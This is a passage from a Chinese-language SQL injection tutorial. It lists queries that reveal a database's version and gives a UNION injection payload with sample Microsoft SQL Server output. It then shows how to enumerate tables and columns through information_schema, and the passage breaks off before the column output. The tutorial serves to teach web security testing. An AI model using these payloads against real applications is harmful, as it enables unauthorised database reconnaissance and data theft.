数据库类型 查询语句
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()
例如,你可以使用以下输入的UNION攻击:
' UNION SELECT @@version--
这可能会返回如下输出,确认数据库是Microsoft SQL Server,以及正在使用的版本:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64) Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
2. 列出数据库内容
大多数数据库类型(Oracle除外)都有一组视图,称为information schema,提供关于数据库的信息。
可以查询information_schema.tables 列出数据库中的表:
SELECT * FROM information_schema.tables
返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
该输出表明有三个表,分别是Products、Users和Feedback。
然后可以查询information_schema.columns 用于列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
返回如下输出: